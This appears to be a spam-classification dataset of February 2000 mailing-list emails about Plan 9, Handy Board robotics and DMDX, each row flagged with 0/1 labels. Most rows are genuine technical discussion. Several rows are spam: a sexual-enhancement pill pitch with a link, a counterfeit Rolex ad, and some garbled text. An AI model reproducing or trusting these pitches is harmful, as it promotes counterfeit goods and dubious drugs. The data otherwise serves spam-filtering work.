Reasons for this are legion and I'm not sure TimeDX's tachistoscopic acid test has all the smarts that DMDX's routines have. Try DMDX with some display intensive item files (TachTest.rtf from the demo is a good one), if it doesn't fail then the machine is likely to be fine. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If the odds are a million to one against something occurring, chances are 50-50 it will. ",0,0 Debi Balmilero ,XXX@XXXXXXXX.XXXXXXX.XXX,"Mon, 21 Feb 2000 16:15:59 -1000",Aloha,"Aloha Christopher, I work for an Executive Search Firm in Honolulu and have a few clients who are interested in potential candidates who have a background in C++ programming. This would be in a SUN/UNIX environment and all the applications are in signal processing, neural networks and expert systems. Applicants must be able to translate algorithms into code. I'm writing to you in hopes that you are familiar with a few students who are terrific in this and would welcome an opportunity to live in Hawaii. The weather here is great, so is the surf. For someone with 1-2 years of experience, the salary is about 60K. Please pass this along and encourage those so inclined to check out our web page and contact me with their resumes. Thanks for your time. Aloha, Debi Balmilero Executive Search Consultant Inkinen & Associates, Inc. www.inkinen.com inkinen@aloha.net jobs@inkinen.com (808) 521-2331 ",0,0 arisawa@ar.aichi-u.ac.jp,9fans@cse.psu.edu,"Tue, 22 Feb 2000 09:01:11 +0900",[9fans] AMD cpu detection,"Hello 9fans, I received a mail from Jim. His patch to: /sys/src/9/pc/clock.c /sys/src/fs/pc/8253.c fixed the problem with the CPU speed being unsteady. Thanks Jim. Kenji Arisawa E-mail: arisawa@aichi-u.ac.jp From: jmk@plan9.bell-labs.com Subject: Re: [9fans] Re: b.com from fd Date: Mon, 21 Feb 2000 11:45:30 -0500 To: arisawa@aichi-u.ac.jp Here's something which might fix your problem with the CPU speed being unsteady. This code is from our current fileserver kernel and goes in 8253.c/clockinit: ... /* * set clock for 1/HZ seconds */ outb(Tmode, Load0|Square); outb(T0cntr, (Freq/HZ)); /* low byte */ outb(T0cntr, (Freq/HZ)>>8); /* high byte */ /* * Introduce a little delay to make sure the count is * latched and the timer is counting down; with a fast * enough processor this may not be the case. * The i8254 (which this probably is) has a read-back * command which can be used to make sure the counting * register has been written into the counting element. */ x = (Freq/HZ); for(loops = 0; loops < 100000 && x >= (Freq/HZ); loops++){ outb(Tmode, Latch0); x = inb(T0cntr); x |= inb(T0cntr)<<8; } /* find biggest loop that doesn't wrap */ ... I admit to not having tried this on a non-Intel processor. The delay is also necessary in the terminal/cpuserver kernels. If that fixes your problem, let me know and feel free to post the fix to 9fans. By the way, the x86amd[] table values for the Athlon are the same as for the K6: { 6, 1, 11, ""AMD-Athlon"", },/* trial and error */ { 6, 2, 11, ""AMD-Athlon"", },/* trial and error */ I have a 700MHz Athlon with an ASUS K7M motherboard; it's quite refreshing to see not a single Intel chip in the system. --jim",0,0 Manicmunich ,handyboard@media.mit.edu,"Mon, 21 Feb 2000 15:55:37 -0500",140 Ways to Thank You,"Hundreds of design choices. Order your personalized, self-sticking labels in less than five minutes. VistaPrint provides the highest quality, full-color graphic design and printing at the lowest prices! VistaPrint has served more than 4,000,000 customers worldwide. If you do not want to receive e-mails concerning VistaPrint products, please submit your e-mail address by clicking here to UNSUBSCRIBE from our database. The products and services described in this e-mail are provided by VistaPrint Limited, the international leader for webtop graphic design and printing. United States customers may contact us in care of our U.S. subsidiary: VistaPrint USA Incorporated, 100 Hayden Avenue, Lexington, MA 02421 PPP= 22867 Emazing, Inc. · 650 Castro St. #120 · Mountain View, CA 94041",1,1 Curt Hamlin ,DMDX@psy1.psych.arizona.edu,"Tue, 22 Feb 2000 04:36:25 +0500",properties from Housing Helpers,"-Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - The longest most intense orgasms of your life -Rock hard erections - Erections like steel -Ejaculate like a porn star - Stronger ejaculation -Multiple orgasms - Cum again and again -SPUR-M is The Newest and The Safest Way of Pharmacy -100% Natural and No Side Effects - in contrast to well-known brands. -Experience three times longer orgasms -World Wide shipping within 24 hours Clisk here http://www.srhsales.info san blacksmith tollhouse succubus catv conner trudge chronograph grantor presage inestimable plagued rostrum sedge chemisorption gunfight temerity dyspeptic dark astm quote seamstress lacquer chilean worthwhile kola dune alumnae depredate refinery checksummed jigsaw befuddle biology skywave chevrolet calendar knoweth ophthalmology swamp conference alameda predecessor jonas elegant steinberg perennial cadaverous incubus cortical neap flub descent permutation ",1,1 �� ���� ,XXX@XXXXXXXX.XXXXXXX.XXX,"Mon, 31 Oct 1932 19:34:34 +0000",����� �湮���� 2�ð��ȿ� �ٳ���,�� ��  1�� �� ��  �� ���� �� �������� �� �� ��  �� �� �� �� �� �� �� �� �� ��  �� �� �� �� �� ���� �� �� �� �� �� �� �� ���� �� ���� ��  ������ ��������  �� �� �� ���������� �� �� �� �� ������������   ������ ���������� ������,1,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Tue, 22 Feb 2000 15:15:08 +0000",[DMDX] Previous message - oops,"Accidentally added DMDX address to a message to a friend. If this could be removed from the list I would be supremely grateful. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Thomas West ,9fans@cse.psu.edu,"Tue, 22 Feb 2000 11:21:21 -0800",[9fans] netlib f2c installation,"I could use an example of an f2c installation on plan9. ie f77 library locations, tailoring of sh script, other hints and tips. -Tom ",0,0 Roman Shaposhnick ,9fans@cse.psu.edu,"Tue, 22 Feb 2000 12:24:01 -0500",[9fans] 9p question,"While playing with u9fs and 9p I ask myself: Is there are any good reason that each R-message contains fid ? I take a look at u9fs sources and have found that R-messages have exactly the same fid as T-messages. Is this a common behavior and if yes, why do we need fids in R-messages at all ? Thanks, Roman. ",0,0 Gary Livick ,"""E158 (M.FAZAL)"" ","Tue, 22 Feb 2000 09:33:45 -0800",Re: 68HC11 assembly commands,"http://home1.gte.net/tdickens/68hc11/manuals/instructions.html This is the web page of Tom Dickens. Be sure to send him an email of thanks for the work of posting all the things he has up for the HC11. Gary Livick http://www.teleport.com/~raybutts/ ""E158 (M.FAZAL)"" wrote: > hi all, > could anyone pls point me to where i can get the assembler instruction set > for the 68HC11 processor. > > many thanks > m fazal ",0,1 Paul DaCosta ,Handyboard ,"Tue, 22 Feb 2000 12:50:27 -0500",Please unsbubscribe me,"Come on, please unsubscribe me, I've been trying for the longest time, yeah I know send email to Mr. Martin, it's not working!!!! uhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh! ",0,0 David Kadansky ,handyboard@media.mit.edu,"Tue, 22 Feb 2000 19:40:22 +0000",Re: 68HC11 assembly commands,"On the page Gary cites, the link ""upwards"" is incorrect. It should be http://home1.gte.net/tdickens/68hc11/68hc11.html Tom's got a **lot** of stuff there. It's really worth checking out. David Gary Livick wrote: > http://home1.gte.net/tdickens/68hc11/manuals/instructions.html > > This is the web page of Tom Dickens. Be sure to send him an email of thanks > for the work of posting all the things he has up for the HC11. > > Gary Livick > http://www.teleport.com/~raybutts/ ",0,1 Judy Langford ,handyboard@media.mit.edu,"Tue, 22 Feb 2000 05:02:30 -0500",Re. Application# 2209354055 approval," Ellen sharing proceedings http://69xanthamide.info >>> 0249557 as enase ilbx >>> facture unfavourable mariologisch himself iomeningitis ",1,1 Fernando Thomson ,handyboard@media.mit.edu,"Wed, 23 Feb 2000 06:25:55 +0800",ȸ����! ����� �ڱݹ���! ���� ���̻� �������� ������!,"delay domino persuasion conflagration circumvention transformation uptown clique yost slavonic smokehouse jounce case ami naked moser ",1,0 David Perry ,handyboard@media.mit.edu,"Wed, 23 Feb 2000 05:26:48 +0000",heres where to get that IR demodulator,"I had a close look at that IR receiver and gasp - it looks just the same as one i bought from a local store, dick smith electronics. The part IS1U60 is listed as U60. It is now discontinued but the replacement, U61 is just the same, only buffered. Personally i hate the customer service at my local store but the internet service is excellent. Anyway, the URL is www.dse.com.au . Hope this helps someone, David Perry -- MIME ATTACHMENTS DISCARDED: 1. Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Content-Length: 1041 ",0,0 Adam Oliver ,'Handyboard Mailing List' ,"Wed, 23 Feb 2000 21:11:32 +0800",Stepper motors in australia?,"Does anyone know where I could get hold of a couple of stepper motors & matching gearboxes in Australia? I've tried everywhere I can think of with no luck. ANy help greatly appreciated thanks Adam ",0,0 Frankie Lai <97139371d@polyu.edu.hk>,handyboard@media.mit.edu,"Wed, 23 Feb 2000 18:53:41 +0000",Strange problem of expansion board and handyboard,"Hi all, I had a handyboard and an expansion board, they do not work together. I had definitely unzipped the explib into the libs directory and overwrote the files it need. But a strange problem occurs, when the board is downloading files at expsenc.c and hb_lib.icb, it said ""analog already defined"", ""digital already defined"" and ""raw_analog already defined"". I had try that to use the handyboard only with its own files, it works pretty good. But when work with exp board and exp files, the problem occurs. I had brorrowed an exp board from my friend, the same problem occur. My question is do anyone know what had happened on my boards? It seems that there is no problem on the exp board, I think the problem is on handyboard, is there any components burnt?? And what can I do with the boards??? Thank you very much ",0,0 Eric_Davis@mindspring.com,handyboard@media.mit.edu,"Wed, 23 Feb 2000 19:01:28 +0000",Just some questions...,"Hey all.. I got my handyboard a few days ago.. and I have some questions.. 1) What is a good battery to use? I don't have 8 nicad batteries.. I use a R/C car 9.6V battery pack.. is there some specific need for certian mAh values? 2)What method did you use to attach it to the board (I have the RobotstoreHK one) I ended up using two 18 gauge wires with bannana plugs at the end.. and the corresponding plugs on the batterypack 3)Anybody have examples of the IC code I can see? i can use the one line inputs to check, say, the status of a digital input (bump sensor) but when i write a simple program to sound the buzzer if it hits.. it doesn't work.. Examples would be great! 4) Any good sources on building remote control interfaces? I would like to have a home built transmitter with a few joysticks and buttons.. any sources? Thanks all -Eric ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Wed, 23 Feb 2000 19:56:27 +0000",Re: Strange problem of expansion board and handyboard,"it's all a software config issue, there's nothing wrong with your hardware. two questions: 1. what is the root library file that loads when IC starts up, and 2. what files are listed there? f. In your message you said: > Hi all, > > I had a handyboard and an expansion board, they do not work together. I ha d > definitely unzipped the explib into the libs directory and overwrote the file s > it need. But a strange problem occurs, when the board is downloading files at > expsenc.c and hb_lib.icb, it said ""analog already defined"", ""digital already > defined"" and ""raw_analog already defined"". > > I had try that to use the handyboard only with its own files, it works > pretty good. But when work with exp board and exp files, the problem occurs. I > had brorrowed an exp board from my friend, the same problem occur. > > My question is do anyone know what had happened on my boards? It seems tha t > there is no problem on the exp board, I think the problem is on handyboard, i s > there any components burnt?? And what can I do with the boards??? > > Thank you very much > ",0,0 Danny Gratton ,handyboard@media.mit.edu,"Wed, 23 Feb 2000 22:15:13 +0000",GP2D02,"I can't seem to get any reading off of my GP2D02 sensor? I'm just wondering if I screwed up in connecting to the HB. If someone could tell me where they should be connected on the board that would be great! ",0,0 Ray Tang ,handyboard@media.mit.edu,"Wed, 23 Feb 2000 23:17:27 +0000",Re: Strange problem of expansion board and handyboard,"It may be because you use the wrong lib_hb.c. There is one that works with the expansion board (one without digital(), analog() and raw_analog() defined, but the expsenc.c will define them so that the I/O port on the expansion board will work). It happened to me when I used the lib_hb.c from the ""Smooth PWM Routines"" (downloaded from HB homepage) with expansion board. I went in lib_hb.c and commented out the digital(), analog(), and raw_analog(). See if that helps. -- Ray Frankie Lai <97139371d@polyu.edu.hk> wrote in message news:FqECHH.70r@lugnet.com... Hi all, I had a handyboard and an expansion board, they do not work together. I had definitely unzipped the explib into the libs directory and overwrote the files it need. But a strange problem occurs, when the board is downloading files at expsenc.c and hb_lib.icb, it said ""analog already defined"", ""digital already defined"" and ""raw_analog already defined"". I had try that to use the handyboard only with its own files, it works pretty good. But when work with exp board and exp files, the problem occurs. I had brorrowed an exp board from my friend, the same problem occur. My question is do anyone know what had happened on my boards? It seems that there is no problem on the exp board, I think the problem is on handyboard, is there any components burnt?? And what can I do with the boards??? Thank you very much",0,0 Alex Stewart ,handyboard@media.mit.edu,"Wed, 23 Feb 2000 15:27:07 -0800",LCD functions?,"Hi all, Was wondering if there were some libs out there for contolling the LCD screen? Like scrolling with the knob, panning text; like haveing a Message move across screen etc.. Thanx -Roboman AKA-Alex ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Ray Tang ,handyboard@media.mit.edu,"Wed, 23 Feb 2000 23:32:56 +0000",Re: Just some questions...,"Hi, Eric Davis wrote in message news:8EE380D7Cericdavismindspringc@209.68.63.236... > Hey all.. > > I got my handyboard a few days ago.. and I have some questions.. > > 1) What is a good battery to use? I don't have 8 nicad batteries.. I use a > R/C car 9.6V battery pack.. is there some specific need for certian mAh > values? The recommended battery pack I ordered from DigiKey is rated 9.6V at 500mA. So, Don't over kill the board. And I think the motor chip L293D can go up to 700mA (the TI SN754410NE can go up to 1A) (I think I am right)... So, watch out... You can order the battery cover at DigiKey also. It is made by SERPAC. Model 031 or 131 will work fine. > > 2)What method did you use to attach it to the board (I have the > RobotstoreHK one) I ended up using two 18 gauge wires with bannana plugs > at the end.. and the corresponding plugs on the batterypack I used 22 gauge wires for the connection from battery pack to the board. . . > > 3)Anybody have examples of the IC code I can see? i can use the one line > inputs to check, say, the status of a digital input (bump sensor) but when > i write a simple program to sound the buzzer if it hits.. it doesn't work.. > > Examples would be great! I got mine to work using those sample code... Sorry, busy..... later.... (Someone else please help...) > > 4) Any good sources on building remote control interfaces? I would like to > have a home built transmitter with a few joysticks and buttons.. any > sources? Not yet. I am working on that... Are you talking about RF or IR?? > > Thanks all > > -Eric -- Ray",0,0 David Perry ,handyboard@media.mit.edu,"Thu, 24 Feb 2000 01:05:55 +0000",Re: Just some questions...,"Hi, So a 12 volt 10xAA battery pack (brand new from bg micro) would be damaging to the board? David -----Original Message----- From: Ray Tang To: lugnet.robotics.handyboard@lugnet.com Date: Thursday, 24 February 2000 10:31 Subject: Re: Just some questions... >Hi, > > >Eric Davis wrote in message >news:8EE380D7Cericdavismindspringc@209.68.63.236... >> Hey all.. >> >> I got my handyboard a few days ago.. and I have some questions.. >> >> 1) What is a good battery to use? I don't have 8 nicad batteries.. I use >a >> R/C car 9.6V battery pack.. is there some specific need for certian mAh >> values? > >The recommended battery pack I ordered from DigiKey is rated 9.6V at 500mA. >So, Don't over kill the board. And I think the motor chip L293D can go up >to 700mA (the TI SN754410NE can go up to 1A) (I think I am right)... So, >watch out... > >You can order the battery cover at DigiKey also. It is made by SERPAC. >Model 031 or 131 will work fine. > >> >> 2)What method did you use to attach it to the board (I have the >> RobotstoreHK one) I ended up using two 18 gauge wires with bannana plugs >> at the end.. and the corresponding plugs on the batterypack > >I used 22 gauge wires for the connection from battery pack to the board. . . > >> >> 3)Anybody have examples of the IC code I can see? i can use the one line >> inputs to check, say, the status of a digital input (bump sensor) but when >> i write a simple program to sound the buzzer if it hits.. it doesn't >work.. >> >> Examples would be great! > >I got mine to work using those sample code... >Sorry, busy..... later.... (Someone else please help...) > >> >> 4) Any good sources on building remote control interfaces? I would like >to >> have a home built transmitter with a few joysticks and buttons.. any >> sources? > >Not yet. I am working on that... Are you talking about RF or IR?? > >> >> Thanks all >> >> -Eric > >-- > > Ray",0,0 Eric_Davis@mindspring.com,handyboard@media.mit.edu,"Thu, 24 Feb 2000 01:21:07 +0000",Re: Just some questions...,"Well, the battery pack I am using is rated for 1450 mAh.. so far.. I have not seen any probems... I was speaking of rf control earlier.. Thanks.. -me ",0,0 Sean Verret ,handyboard@media.mit.edu,"Wed, 23 Feb 2000 18:17:50 -0700",L297,"Has anyone ever used the L297 and L298 to run 4-phase stepper motors before? If so please reply to me beacause I'd like to ask you some questions... Thanks Sean >-----Original Message----- >From: news-gateway@lugnet.com [mailto:news-gateway@lugnet.com]On Behalf >Of David Perry >Sent: Wednesday, February 23, 2000 6:06 PM >To: handyboard@media.mit.edu >Subject: Re: Just some questions... > > >Hi, > >So a 12 volt 10xAA battery pack (brand new from bg micro) would be damaging >to the board? > >David > >-----Original Message----- >From: Ray Tang >To: lugnet.robotics.handyboard@lugnet.com > >Date: Thursday, 24 February 2000 10:31 >Subject: Re: Just some questions... > > >>Hi, >> >> >>Eric Davis wrote in message >>news:8EE380D7Cericdavismindspringc@209.68.63.236... >>> Hey all.. >>> >>> I got my handyboard a few days ago.. and I have some questions.. >>> >>> 1) What is a good battery to use? I don't have 8 nicad >batteries.. I use >>a >>> R/C car 9.6V battery pack.. is there some specific need for certian mAh >>> values? >> >>The recommended battery pack I ordered from DigiKey is rated 9.6V >at 500mA. >>So, Don't over kill the board. And I think the motor chip L293D can go up >>to 700mA (the TI SN754410NE can go up to 1A) (I think I am right)... So, >>watch out... >> >>You can order the battery cover at DigiKey also. It is made by SERPAC. >>Model 031 or 131 will work fine. >> >>> >>> 2)What method did you use to attach it to the board (I have the >>> RobotstoreHK one) I ended up using two 18 gauge wires with >bannana plugs >>> at the end.. and the corresponding plugs on the batterypack >> >>I used 22 gauge wires for the connection from battery pack to the board. . >. >> >>> >>> 3)Anybody have examples of the IC code I can see? i can use >the one line >>> inputs to check, say, the status of a digital input (bump sensor) but >when >>> i write a simple program to sound the buzzer if it hits.. it doesn't >>work.. >>> >>> Examples would be great! >> >>I got mine to work using those sample code... >>Sorry, busy..... later.... (Someone else please help...) >> >>> >>> 4) Any good sources on building remote control interfaces? I would like >>to >>> have a home built transmitter with a few joysticks and buttons.. any >>> sources? >> >>Not yet. I am working on that... Are you talking about RF or IR?? >> >>> >>> Thanks all >>> >>> -Eric >> >>-- >> >> Ray >",0,0 Barry Brouillette ,handyboard@media.mit.edu,"Thu, 24 Feb 2000 03:51:21 +0000",Re: GP2D02,"In lugnet.robotics.handyboard, Danny Gratton writes: >I can't seem to get any reading off of my GP2D02 sensor? I'm just wondering >if I screwed up in connecting to the HB. If someone could tell me where they >should be connected on the board that would be great! Hi, I have a bunch of information about interfacing GP2D02's at this address: http://www.salesworkbench.com:48331/GP2D02/GP2D02_1.html Barry ",0,1 Mike Schubert ,handyboard@media.mit.edu,"Thu, 24 Feb 2000 07:49:34 +0000",Re: Just some questions...,">> 1) What is a good battery to use? I don't have 8 nicad batteries.. I use a >> R/C car 9.6V battery pack.. is there some specific need for certian mAh >> values? >The recommended battery pack I ordered from DigiKey is rated 9.6V at >500mA. >So, Don't over kill the board. And I think the motor chip L293D can go >up >to 700mA (the TI SN754410NE can go up to 1A) (I think I am right)... >So, >watch out... Oh, you are missunderstands some ""electrical"" details :) You can use a battery pack with 9.6V and 2000 mA or more if you like, because the unit is exactly mA/h. It means you can get this current over a time of one hour. Or the half current over 2 hour's. The current of the motor chip is only limited of the resistor (from motor and the cables to the motor). That the reason why you can't use a ""big"" motor with the L293. The Motor get's too much current. (but you can limit the current with a resistor) hope it helps :) PS: Sorry about english, i'am not native speaker ;-) -- sincerely Mike Schubert _ |_| Mike Schubert Tel.: ++49-351-3 18 09 15 | |__ interface business GmbH Fax.: ++49-351-3 36 11 87 | |_ | Naumannstrasse 1 E-Mail: mike.schubert@ifbus.de |____| D-01309 D R E S D E N HTTP: www.ifbus.de/~schubi ""FreeBSD is like a wigwam, no windows, no gates and an apache inside."" ",0,0 Mike Schubert ,Sean Verret ,"Thu, 24 Feb 2000 09:17:33 +0100",Re: L297," On Thu, 24 Feb 2000, Sean Verret wrote: > Has anyone ever used the L297 and L298 to run 4-phase stepper motors before? > > If so please reply to me beacause I'd like to ask you some questions... > If you mean ""bipolar"" (like floppy head-motors) motors, than i think that i can help you :) -- sincerely Mike Schubert _ |_| Mike Schubert Tel.: ++49-351-3 18 09 15 | |__ interface business GmbH Fax.: ++49-351-3 36 11 87 | |_ | Naumannstrasse 1 E-Mail: mike.schubert@ifbus.de |____| D-01309 D R E S D E N HTTP: www.ifbus.de/~schubi ""FreeBSD is like a wigwam, no windows, no gates and an apache inside."" ",0,0 Roger Hamlett ,handyboard@media.mit.edu,"Thu, 24 Feb 2000 11:32:03 +0000",Re: Just some questions...,"In lugnet.robotics.handyboard, Mike Schubert writes: >>> 1) What is a good battery to use? I don't have 8 nicad batteries.. I >use >a >>> R/C car 9.6V battery pack.. is there some specific need for certian >mAh >>> values? > >>The recommended battery pack I ordered from DigiKey is rated 9.6V at >>500mA. >>So, Don't over kill the board. And I think the motor chip L293D can go >>up >>to 700mA (the TI SN754410NE can go up to 1A) (I think I am right)... >>So, >>watch out... > >Oh, you are missunderstands some ""electrical"" details :) >You can use a battery pack with 9.6V and 2000 mA or more if you like, >because the unit is exactly mA/h. > >It means you can get this current over a time of one hour. Or the >half current over 2 hour's. > >The current of the motor chip is only limited of the resistor (from >motor and the cables to the motor). That the reason why you can't use >a ""big"" motor with the L293. The Motor get's too much current. >(but you can limit the current with a resistor) > >hope it helps :) Yes. Exactly the right point. The two different things to woory about, are the mA/Hr rateing of the battery (which tells you how long a particular current can be delivered), and the _internal resistance_ of the battery, which limits the maximum current it can deliver. Now if you take some examples. The small batteries used in some 'micro' radio controlled cars, have mA/Hr rateings of just 500mA/Hr, but are run at currents (in some cases) as high as 15Amps, giving a battery like usually measured in just a couple of minutes. If shorted through a system only rated at 700mA, these can blow it just as easily as a much larger battery. In the case of the Lego battery pack for the 9v motors, few people realise, that this actually contains a 'self resetting' thermal fuse, just to prevent a short from damageing anything else (it is a tiny 3/8 inch 'disk' hidden behind one of the battery clips). So the answer if you want to use a larger capacity 'pack', is to use one as large as you want (provided it is the right coltage of course), but limit the maximum current with a similar fuse (or a conventional one, though obviously this has the disadvantage of needing replacement if too much current is drawn). So something like a 500mA self resetting fuse, and a 10A/Hr battery can be fine, when much smaller batteries without the current limit of the fuse, could cause problems Best Wishes ",0,0 Eric,handyboard@media.mit.edu,"Thu, 24 Feb 2000 11:03:35 +0000","Rolex, Cartier, Louis Vuitton, Tag Heuer, Breitling","CHEAP ROLEX??  YESSSS!!!!! - Automatic movement-Hack mechanism (second hand stops when crown is pulled out to set the time – standard feature on all genuine rolexes)-Sapphire crystal -Diver’s extension to bracelet -Full stainless steel band/case (not stainless steel coated – so will NEVER fade or wear!) -Screws in the links not pins -Solid back with green rolex sticker -Serial/band number on last link/lugs -Fliplock oyster bracelet, steelinox clasp, serial number on clasp -Screw in crown -Luminescent hour markings/hands -Magnified quick-set date -Waterproof (can be worn for regular swimming with no problems) -All the appropriate rolex markings -Rolex Box Set - inclusive of inner/outer boxes, certificate, anchor/tags available at extra cost                                                                  GET IT NOW !!! LIMITED OFFER� ruth robinhoolamer republic goat china meow million tanya naomi johnson lorraine garnet river aeh jeanette steph hanna septembe carolina twins goat trident rufus roxy angus _____________________________________________________________ Powered by a short email address ... k.st bmwchristoppoiuyt",1,1 Steve Kotsopoulos ,9fans@cse.psu.edu,"Thu, 24 Feb 2000 08:29:04 -0500",[9fans] testing ...,"will this msg be automagically posted to comp.os.plan9? if so, how long will it take? ",0,0 Eric_Davis@mindspring.com,handyboard@media.mit.edu,"Thu, 24 Feb 2000 14:14:40 +0000",Re: Just some questions...,"Is there a general guide to what fuse I should have with a certian current? Please excuse some of this if it doesn't make sense, I am learning a lot of electrical concepts as I go... Would the internal resistance of the battery be shown if I measure the resistance across the terminals (my DMM does not display the batteries resistance, out of range) Should I really be taking my measurements from the capacitor(?) which is the first component the trace leads too? Again.. soory for my lack of knowledge... but I am learning.. really : > ",0,0 Jim McKie ,9fans@cse.psu.edu,"Thu, 24 Feb 2000 09:56:12 -0500",Re: [9fans] testing ...," >will this msg be automagically posted to comp.os.plan9? >if so, how long will it take? not long, apparently. will this reply make it back to the mailing list? ",0,0 Borja Marcos ,9fans@cse.psu.edu,"Wed, 24 Feb 0100 16:39:04 +0100",Re: [9fans] testing ...,"> > > >will this msg be automagically posted to comp.os.plan9? > >if so, how long will it take? > not long, apparently. will this reply make it back to the mailing list? Yes :-) -- *********************************************************************** Borja Marcos * Internet: borjam@we.lc.ehu.es Alangoeta, 11 1 izq * borjamar@sarenet.es 48990 - Algorta (Vizcaya) * borjam@well.com SPAIN * borjam@uninet.edu *********************************************************************** --- FreeBSD, turning PCs into workstations ",0,0 William Bain ,Handy Board mailing list ,"Thu, 24 Feb 2000 10:19:12 -0800",Re: Just some questions...,"--- Eric Davis wrote: > Is there a general guide to what fuse I should have with a > certian current? The self-resetting thermal fuse that's part of the HB ought to be just fine (see item F1 on the HB schematics). I think that if you use a 9.6 V NiCd battery pack with less than a couple thousand mAH capacity, you probably have nothing to worry about. Be aware, though, that not all HBs ship with the F1 fuse. I got mine from Patrick Hui of the Robot Store HK, and it had just a wire where the fuse goes. Not that I had any problem with that -- he told me before I ordered the board that it wouldn't have the fuse. Just for my own peace of mind, I ordered the fuse and installed it myself. You might want to verify that you have component F1 before you experiment with bigger batteries. Another thing to consider is that a 12 V battery pack would probably not damage the HB, except that it would be a hassle to recharge, because the HB internal charging circuitry is not designed to deliver a high enough voltage. You'd have to unplug it from the HB each time and plug it into the proper charger. I looked into this, because I have a camera and video transmitter that runs on 12 V, and I wanted to use a single battery pack for everything. Unless I can figure out how to hack the HB charging circuit to charge a 12 V pack, I figure it's not worth the trouble. > Would the internal resistance of the battery be shown if I > measure the > resistance across the terminals (my DMM does not display the > batteries > resistance, out of range) > > Should I really be taking my measurements from the > capacitor(?) which is > the first component the trace leads too? I don't really know how to measure the internal resistance of a battery pack. You shouldn't need to, though, because your HB and motors will probably blow the fuse long before the internal resistance of the battery starts to be an issue. Best of luck! -- Will ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 William Bain ,Handy Board mailing list ,"Thu, 24 Feb 2000 10:57:06 -0800",Re: Just some questions...,"--- David Perry wrote: > Hi, > > So a 12 volt 10xAA battery pack (brand new from bg micro) > would be damaging > to the board? CAVEAT: I'm probably full of it, but here goes.... My understanding is that a 12 V NiCd battery pack would not damage the HB, since the HB can handle up to 12 V. The problem is that in order to charge a 9.6 V battery pack, the HB built in charging circuit delivers about 12 V, which isn't enough to charge a 12 V battery. So a 12 V battery would have to be unplugged from the HB and recharged with a charger designed for 12 V batteries. I actually hope I'm wrong about this, and that somebody out there corrects me. I too have a 12 V pack that I would really like to use with the HB. -- Will ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 """Fred G. Martin"" ",handyboard@media.mit.edu,"Thu, 24 Feb 2000 20:23:55 +0000",Re: Just some questions...,"> The self-resetting thermal fuse that's part of the HB ought to > be just fine (see item F1 on the HB schematics). I think that > if you use a 9.6 V NiCd battery pack with less than a couple > thousand mAH capacity, you probably have nothing to worry > about. you are confusing mAh capacity (the amount of energy stored in the battery) with how fast the batt can deliver the power. the two are not the same. the fuse is in the design because nicad cells can deliver a *DANGEROUS* amount of power if shorted. DANGEROUS, as in wires will melt from the heat, and the cells can explode. so i DEFINITELY do NOT recommend replacing the fuse with a wire. if you stick a phone cable of the wrong polarity into the RJ11 jack, or heaven forbid, a shorted phone cable, you'd be shorting the nicad pack and BAD, BAD THINGS can happen. so, the fuse is there for a good reason. re: the discussion on using 12v rather than 9.6, there's not a big problem with this. it would put additional stress on the 7805, so check that it's not getting too hot. you would need to up the adapter to 15v, 500 ma (from 12v, 500ma) to make sure you have adequate charge voltage. in closing, let me reiterate: DO NOT REPLACE THE FUSE WITH A WIRE. thank you. please practice safe handy-boarding. fred > > Be aware, though, that not all HBs ship with the F1 fuse. I got > mine from Patrick Hui of the Robot Store HK, and it had just a > wire where the fuse goes. Not that I had any problem with that > -- he told me before I ordered the board that it wouldn't have > the fuse. Just for my own peace of mind, I ordered the fuse and > installed it myself. You might want to verify that you have > component F1 before you experiment with bigger batteries. > > Another thing to consider is that a 12 V battery pack would > probably not damage the HB, except that it would be a hassle to > recharge, because the HB internal charging circuitry is not > designed to deliver a high enough voltage. You'd have to unplug > it from the HB each time and plug it into the proper charger. I > looked into this, because I have a camera and video transmitter > that runs on 12 V, and I wanted to use a single battery pack > for everything. Unless I can figure out how to hack the HB > charging circuit to charge a 12 V pack, I figure it's not worth > the trouble. > > > Would the internal resistance of the battery be shown if I > > measure the > > resistance across the terminals (my DMM does not display the > > batteries > > resistance, out of range) > > > > Should I really be taking my measurements from the > > capacitor(?) which is > > the first component the trace leads too? > > I don't really know how to measure the internal resistance of a > battery pack. You shouldn't need to, though, because your HB > and motors will probably blow the fuse long before the internal > resistance of the battery starts to be an issue. Best of luck! > > -- Will > > > > ===== > Any sufficiently advanced technology > is indistinguishable from magic. > -- Arthur C. Clark > ",0,0 arisawa@ar.aichi-u.ac.jp,9fans@cse.psu.edu,"Fri, 25 Feb 2000 12:08:43 +0900",[9fans] FD Formatting on some CPUs,"Hello, A few days ago, I said that A> b fd!0!9pcdisk fails to detect 9pcdisk on FD on some CPUs(K6-2 300MHz and 350MHz). I found more curious phenomena. Dos command: format a:/s is unstable! Format command sometimes fails to detect FD! On the other hand, we have no trouble on formatting FD on Win98 or WinNT. Experiments is done using Dos version 6.3 on K6-2 300MHz and K6-2 350MHz. I asked to one of my friends (SE of our university) if he had a similar experience. His answer is YES. How is your PCs? Kenji Arisawa E-mail: arisawa@aichi-u.ac.jp ",0,0 members@semiseek.com,handyboard@media.mit.edu,"Fri, 25 Feb 2000 01:46:49 -0500",Semiconductor Specific Search Engine.," Semiseek now has the latest Semiconductor News and New Product Announcements from the Manufacturers of Semiconductor Equipment. Follow the latest Industry trends. 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",0,0 Bullock X 